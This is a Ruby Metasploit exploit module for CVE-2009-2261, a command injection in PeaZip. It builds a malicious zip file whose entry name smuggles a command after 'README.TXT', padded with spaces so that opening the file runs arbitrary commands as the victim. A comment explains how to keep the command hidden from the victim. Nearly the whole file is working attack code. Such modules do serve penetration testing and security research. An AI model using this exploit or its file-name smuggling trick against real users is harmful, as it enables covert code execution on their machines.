##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PeaZip Zip Processing Command Injection',
      'Description'    => %q{
          This module exploits a command injection vulnerability in PeaZip. All
        versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
        version 2.6.1 on Windows.

        In order for the command to be executed, an attacker must convince someone to
        open a specially crafted zip file with PeaZip, and access the specially file via
        double-clicking it. By doing so, an attacker can execute arbitrary commands
        as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'pyrokinesis', # Of Nine:Situations:Group
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-2261' ],
          [ 'OSVDB', '54966' ],
          [ 'URL', 'http://peazip.sourceforge.net/' ],
          [ 'EDB', '8881' ]
        ],
      'Platform'       => %w{ linux unix win },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', { }],
        ],
      'DisclosureDate' => '2009-06-05',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
      ])
  end


  def exploit

    # NOTE: using a command line containing / or \ will result in the command
    # being easily visible to the victim
    cmd = datastore['CMD']

    fname = "README.TXT"
    rest = "\"|#{cmd}|.txt"
    fname << " " * (255 - fname.length - rest.length)
    fname << rest

    content = rand_text_alphanumeric(rand(1024))

    zip = Rex::Zip::Archive.new
    zip.add_file(fname, content)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end
